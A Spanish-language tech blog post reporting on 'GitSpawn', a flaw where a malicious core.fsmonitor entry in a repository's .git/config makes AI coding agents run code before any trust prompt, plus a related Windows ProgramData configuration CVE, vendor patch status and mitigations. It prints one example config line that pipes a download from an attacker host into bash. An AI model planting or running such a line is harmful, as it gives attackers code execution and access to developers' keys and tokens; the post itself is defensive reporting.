ia

GitSpawn: el exploit que hace que Claude Code, Cursor y Codex ejecuten código malicioso solo por abrir un repositorio

ia · 7 min de lectura

GitSpawn: el exploit que hace que Claude Code, Cursor y Codex ejecuten código malicioso solo por abrir un repositorio

Manifold Security descubrió que un archivo .git malicioso puede ejecutar código arbitrario en los agentes de IA más populares antes de que aceptes cualquier prompt de confianza. Qué pasó, quién ya parchó y qué debes hacer hoy.

GitSpawn: el exploit que hace que Claude Code, Cursor y Codex ejecuten código malicioso solo por abrir un repositorio

Imagínate clonar un repositorio de GitHub, abrir la carpeta en Claude Code o Cursor, y que antes de que aparezca cualquier aviso de confianza ya se esté corriendo código en tu máquina. Sin prompts. Sin aprobación. Sin que te des cuenta.

Eso es exactamente lo que demostró Manifold Security el 1 de septiembre de 2026 con GitSpawn, una clase de vulnerabilidades que afecta a siete agentes de IA coding: Claude Code, OpenAI Codex, Cursor, Grok Build, Goose, Hermes Agent y Qwen Code. Ocho hallazgos en total. Cuatro sin parche al momento de la divulgación.

Cómo funciona el exploit: una línea en .git/config

El corazón del ataque es una feature legítima de Git llamada core.fsmonitor. Es un parámetro de rendimiento que le dice a Git qué programa usar para detectar archivos modificados. Git lo lee directo desde el archivo .git/config del repositorio… el que tú acabas de clonar de un extraño.

Cuando un agente de IA abre un directorio, lo primero que hace es correr git status o git diff para entender el estado del proyecto. Eso es completamente normal. El problema: si el .git/config del repositorio contiene algo como:

[core]
    fsmonitor = /bin/bash -c "curl attacker.com/payload | bash"

Git ejecuta ese comando. Sin preguntarte. Fuera del sandbox del agente. Con tus credenciales. Con acceso a tus llaves SSH, tokens de API y todo lo que tengas en disco.

Lo que hace que esto sea especialmente culero es el timing. Según The Hacker News, en Claude Code y Hermes Agent el payload se dispara antes de que aparezca el prompt de workspace-trust. En Qwen Code, antes de que el usuario se haya autenticado. En Grok Build, en la primera tecla que presionas.

Quién ya parchó y quién sigue expuesto

Aquí es donde la cosa se pone interesante porque el panorama varía bastante:

AgenteEstado al 1-sept-2026Versión parcheada
Claude Code (ruta 1)Parcheadov2.1.196
Claude Code (ultrareview)Sin parche-
OpenAI CodexParcheadov0.131.0+
CursorParcheado-
GooseParcheadov1.44.0
Hermes AgentSin parche-
Qwen CodeSin parche-
Grok BuildSin parche-

El CVE asignado a Goose es CVE-2026-72718 (CVSS 7.0). Hermes Agent recibió CVE-2026-71963, asignado por VulnCheck (una CNA independiente) porque el vendor no respondió a seis intentos de contacto. Claude Code recibió CVE-2026-55607.

El caso de Grok Build merece mención especial: xAI recibió el reporte inicial en julio y lo cerró catalogado como “informativo”. Meses después, sin parche. No mames.

El plot twist: Anthropic ya lo había parcheado en noviembre 2025

Aquí hay un detalle que no ves en todos los reportes: Anthropic había parcheado una variante de este mismo problema en la versión v2.0.34 de Claude Code, allá por noviembre de 2025. El problema es que el 25 de junio de 2026, la versión v2.1.193 reintrodujo la vulnerabilidad. Los investigadores la detectaron al día siguiente, y para el 29 de junio ya había un parche en v2.1.196.

Ese tipo de regresión dice mucho sobre los riesgos de software que evoluciona tan rápido: un refactor descuidado puede reabrir una superficie de ataque que ya habías cerrado.

Esto tiene relación directa con cómo hoy los coding agents tienen acceso a tanto contexto de tu sistema, algo que discutimos en nuestro análisis de Claude Managed Agents y qué significa para los devs: entre más poder de ejecución le das a la IA, más crítico es que el sandbox y la validación de confianza sean sólidos.

CVE-2026-35603: la otra vulnerabilidad que se sumó a la fiesta

Justo unas semanas antes, el 11 de agosto, Cymulate había publicado un problema relacionado pero distinto: CVE-2026-35603 afecta a Claude Code, Cursor, Codex CLI y Gemini CLI en Windows a través de la carpeta C:\ProgramData\.

La mecánica es diferente: estas herramientas cargan configuración predeterminada desde subdirectorios de ProgramData sin verificar quién los escribió. Como cualquier usuario sin privilegios puede crear carpetas en ProgramData, un atacante puede plantar un archivo de configuración malicioso con hooks o comandos que se ejecutan en la siguiente sesión de cualquier usuario, incluyendo admins.

El resultado: ejecución de código persistente, escalación de privilegios, compromiso cross-user.

¿El único vendor que respondió de manera seria? Anthropic. Relocalizaron la configuración a Program Files, que sí requiere privilegios de admin para escribir. Los demás (Cursor, OpenAI, Google) o no respondieron o lo etiquetaron como baja prioridad. Cursor lleva más de cinco meses sin veredicto formal.

¿Cómo te puede llegar un repo malicioso?

El requisito para GitSpawn es que el directorio .git llegue intacto a tu máquina. Un push a GitHub despojado con git clone está protegido por GitHub, que sanitiza algunas configs. El vector real son:

  • Archivos .zip o .tar.gz con el proyecto completo (los que te mandan por Slack, Discord, WhatsApp)
  • Unidades USB o carpetas compartidas en red
  • Subdirectorios que otro repo incluye como dependencia local
  • Archivos de “starter project” que te bajan de foros o grupos de Telegram

Si eres dev en México y trabajas con repositorios que te llegan de clientes, freelance o compas del trabajo por canales informales, ese es exactamente tu vector de riesgo.

Y ya que estamos hablando de vulnerabilidades que llevan meses sin parcharse, vale la pena recordar que no es la primera vez que herramientas populares tienen brechas activas por mucho tiempo, como lo documentamos en el caso del zero-day de Adobe Reader que estuvo activo cuatro meses sin que nadie te avisara.

Qué hacer hoy

Pasos concretos, sin adornos:

Mitigation inmediata (todos los OS):

git config --global core.fsmonitor false

Esto desactiva globalmente la ejecución de fsmonitor en cualquier repo que abras.

Antes de abrir un repo que no conoces:

git config --get core.fsmonitor

Si te regresa algo, investiga qué es antes de continuar.

Actualiza tus herramientas:

  • Claude Code: asegúrate de estar en v2.1.196 o superior (y evita ultrareview por ahora)
  • Codex: v0.131.0+
  • Cursor: actualiza a la versión más reciente
  • Goose: v1.44.0+
  • Grok Build, Hermes Agent, Qwen Code: si los usas, aplica la mitigación global de fsmonitor mientras esperan parche

Si usas Windows: Revisa si tienes carpetas en C:\ProgramData\ de Claude Code, Cursor, OpenAI o Gemini CLI con archivos de configuración que no recuerdas haber creado. Eso podría indicar que ya alguien pasó por ahí.

El fondo del asunto

Lo que GitSpawn expone no es un bug raro o un edge case exótico. Es el resultado de que una industria completa construyó herramientas de ejecución de código que consumen contexto del sistema como si fueran editores de texto normales, sin ajustar los modelos de confianza.

Si te interesa ver cómo los coding agents elegibles se comparan hoy mismo, en nuestra guía de GitHub Copilot con Claude, GPT-5 y Gemini para devs mexicanos tocamos exactamente cómo estos agentes manejan el acceso a tu entorno local, que es exactamente la superficie que GitSpawn explotó.

Los vendors que parcharon rápido (Anthropic, OpenAI, Cursor) demostraron que el fix no es imposible. Los que siguen sin responder están básicamente diciéndole a sus usuarios que la ejecución arbitraria de código en sus máquinas es aceptable. Eso está re piola para ellos, supongo.

¿Usas alguna de las herramientas afectadas? ¿Ya aplicaste la mitigación? Cuéntanos abajo.

Fuentes

Comentarios

No te pierdas ningún post

Recibe lo nuevo de Al Chile Tech directo en tu correo. Sin spam.

También te puede interesar